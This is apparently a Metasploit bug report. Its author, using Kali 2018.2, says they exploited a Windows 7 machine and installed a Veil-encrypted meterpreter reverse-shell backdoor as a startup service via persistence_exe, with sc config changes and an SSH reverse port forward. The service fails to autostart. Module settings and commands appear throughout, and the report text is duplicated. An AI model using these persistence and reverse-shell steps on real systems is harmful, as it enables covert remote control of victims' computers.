Steps to reproduce
How'd you do it?
- Exploited windows 7
- Build a backdoor exe with veil staged meterpreter/reverse_tcp_dns python aes encrypted with LHOST as myssh & LPORT xxxx
- Upload the backdoor using post/windows/manage/persistence_exe with the following settings.
REXENAME= mybackdoor.exe
REXEPATH= /usr/share/veil/payload.exe
STARTUP= SERVICE
SESSION= 1
LocalExePath= c:/windows/system32
StartupName= Backdoor
- Uploaded successfully and executed the backdoor.
- Modified windows services using shell
sc config "Backdoor" obj= "NT AUTHORITY/NetworkService"
- Reboot system.
- Setup a payload listener to listen to 0.0.0.0:4444 & port forwarded using ssh -R xxxx:localhost:4444.
- Not getting any session because service is not started automatically but I get session when I manually run the uploaded payload by exploiting again & running
meterpreter> execute -f backdoor.exe
Victim- Windows 7 machine
9. meterpreter> run post/windows/gather/enum_services shows the service is installed & set to Autorun at startup.
Expected behavior
Service should run automatically the backdoor.exe file on startup.
Current behavior
Service and Backdoor.exe doesn't autorun on startup
System stuff
Metasploit version
4.16.65-dev
I installed Metasploit with:
OS
What OS are you running Metasploit on?
Kali 2018.2
Steps to reproduce
How'd you do it?
REXENAME= mybackdoor.exe
REXEPATH= /usr/share/veil/payload.exe
STARTUP= SERVICE
SESSION= 1
LocalExePath= c:/windows/system32
StartupName= Backdoor
sc config "Backdoor" obj= "NT AUTHORITY/NetworkService"
meterpreter> execute -f backdoor.exe
Victim- Windows 7 machine
9. meterpreter> run post/windows/gather/enum_services shows the service is installed & set to Autorun at startup.
Expected behavior
Service should run automatically the backdoor.exe file on startup.
Current behavior
Service and Backdoor.exe doesn't autorun on startup
System stuff
Metasploit version
4.16.65-dev
I installed Metasploit with:
OS
What OS are you running Metasploit on?
Kali 2018.2